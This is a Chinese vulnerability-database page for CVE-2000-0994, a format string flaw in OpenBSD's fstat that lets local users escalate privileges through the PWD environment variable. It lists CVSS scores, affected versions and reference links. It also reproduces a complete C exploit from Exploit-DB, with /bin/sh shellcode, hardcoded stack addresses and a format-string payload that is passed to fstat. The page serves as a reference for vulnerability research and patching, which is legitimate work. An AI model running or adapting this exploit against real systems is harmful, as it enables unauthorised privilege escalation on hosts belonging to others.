CVE-2000-0994
CVSS7.2
发布时间 :2000-12-19 00:00:00
修订时间 :2016-10-17 22:07:51
NMCOE    

[原文]Format string vulnerability in OpenBSD fstat program (and possibly other BSD-based operating systems) allows local users to gain root privileges via the PWD environmental variable.


[CNNVD]OpenBSD fstat存在格式字符串漏洞(CNNVD-200012-137)

        OpenBSD fstat程序(和可能其他基于BSD操作系统的程序)存在格式字符串漏洞。本地用户借助PWD环境变量提升根目录特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/o:openbsd:openbsd:2.5OpenBSD 2.5
cpe:/o:openbsd:openbsd:2.4OpenBSD 2.4
cpe:/o:openbsd:openbsd:2.7OpenBSD 2.7
cpe:/o:openbsd:openbsd:2.6OpenBSD 2.6
cpe:/o:openbsd:openbsd:2.3OpenBSD 2.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0994
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0994
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200012-137
(官方数据源) CNNVD

- 其它链接及资源

ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.7/common/028_format_strings.patch
(PATCH)  MISC  ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.7/common/028_format_strings.patch
http://marc.info/?l=bugtraq&m=97068555106135&w=2
(UNKNOWN)  BUGTRAQ  20001004 Re: OpenBSD Security Advisory
http://www.securityfocus.com/bid/1746
(VENDOR_ADVISORY)  BID  1746
http://xforce.iss.net/static/5338.php
(VENDOR_ADVISORY)  XF  bsd-fstat-format

- 漏洞信息

OpenBSD fstat存在格式字符串漏洞
高危 格式化字符串
2000-12-19 00:00:00 2005-08-22 00:00:00
本地  
        OpenBSD fstat程序(和可能其他基于BSD操作系统的程序)存在格式字符串漏洞。本地用户借助PWD环境变量提升根目录特权。

- 公告与补丁

        

- 漏洞信息 (20256)

OpenBSD 2.x fstat Format String Vulnerability (EDBID:20256)
openbsd local
2000-10-04 Verified
0 k2
N/A [点击下载]
source: http://www.securityfocus.com/bid/1746/info


fstat is a program shipped with BSD unix variants that is used to list the open files on a system. It is installed sgid kmem so it can access information about open files from the kernel memory structures.

A user definable environment variable (PWD, parent working directory) is passed as the only argument to a *printf() function within fstat. As a result, it is possible for a user to exec fstat with a value for the PWD variable that contains malicious format specifiers. These format specifiers could be layed out in the environment variable in a way that causes the *printf function interpreting them to overwrite certain bytes on the stack (like those that the return address of the function called is composed of) and manipulate the flow of execution.

An attacker, upon successful exploitation of this vulnerability, would inherit the effective privileges of the running fstat program: egid kmem. Further compromise for an experienced hacker would be trivial.

It is likely that this vulnerability affects all modern BSDs, though as of yet only OpenBSD is confirmed. 

/* 
   private caddis K2 release
   TagTeam exploit coding @$_*#%*&(#%(**(@$*($@
   werd to ADM, teso, w00w00

   sgid=kmem
*/

#include <stdio.h>

char bsd_shellcode[] =
"\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
"\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
"\x50\x51\x56\x50\xb0\x3b\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";

struct platform {
    char *name;
    unsigned short count;
    unsigned long dest_addr;
    unsigned long shell_addr;
    char *shellcode;
};

/* 0xdfbfc304 */

struct platform targets[2] = 
{
    { "OpenBSD 2.7 i386       ", 590, 0xdfbfc490, 0xdfbfdc98, bsd_shellcode },
    { NULL, 0, 0, 0, NULL }
};

#define SHELL 500
 
char fmt_string[9072];
char jmpcode[SHELL] = "PWD=HI";
char term[] = "TERM=xterm";

char *envs[] = { term,jmpcode, NULL};

int main(int argc, char *argv[])
{
    char chr, *p;
    int x, len = 0;
    struct platform *target;
    unsigned short low, high;
    unsigned long shell_addr[2], dest_addr[2];

    target = &targets[0];
    if (argc > 1) target->count += strtol(argv[1], NULL, 0);

    memset(fmt_string, 0, sizeof(fmt_string));
    len = (sizeof(long) * 4) + 2;
    p = fmt_string + len;
    for (x = 0; x < target->count; x++) {
        strcat(p, "%8x");
        len += 8;
    }


    shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
    shell_addr[1] =  target->shell_addr & 0xffff;

    if (shell_addr[1] > shell_addr[0]) {
	dest_addr[0] = target->dest_addr+2;
	dest_addr[1] = target->dest_addr;
    	low  = shell_addr[0] - len;
    	high = shell_addr[1] - low - len;
    } else {
	dest_addr[0] = target->dest_addr;
	dest_addr[1] = target->dest_addr+2;
	low  = shell_addr[1] - len;
	high = shell_addr[0] - low - len;
    }

    /* allign on 4byte boundry relative to ebp */
    memcpy(fmt_string, "!!", 2);
    *(long *)&fmt_string[2]  = 0x11111111;
    *(long *)&fmt_string[6]  = dest_addr[0];
    *(long *)&fmt_string[10] = 0x11111111;
    *(long *)&fmt_string[14] = dest_addr[1];

    memset(jmpcode, 0x90, SHELL);
    strcpy(jmpcode + (SHELL - strlen(target->shellcode) - 2), target->shellcode);
    memcpy(jmpcode,"PWD=",4);

    p = fmt_string + strlen(fmt_string);
    sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
    fmt_string[sizeof(fmt_string)] = '\0';

   execle("/usr/bin/fstat", "fstat", fmt_string, NULL, envs);
    perror("execve");
}
		

- 漏洞信息

1588
Multiple BSD fstat PWD Variable Format String Local Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

- 时间线

2000-10-04 Unknow
2000-10-04 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站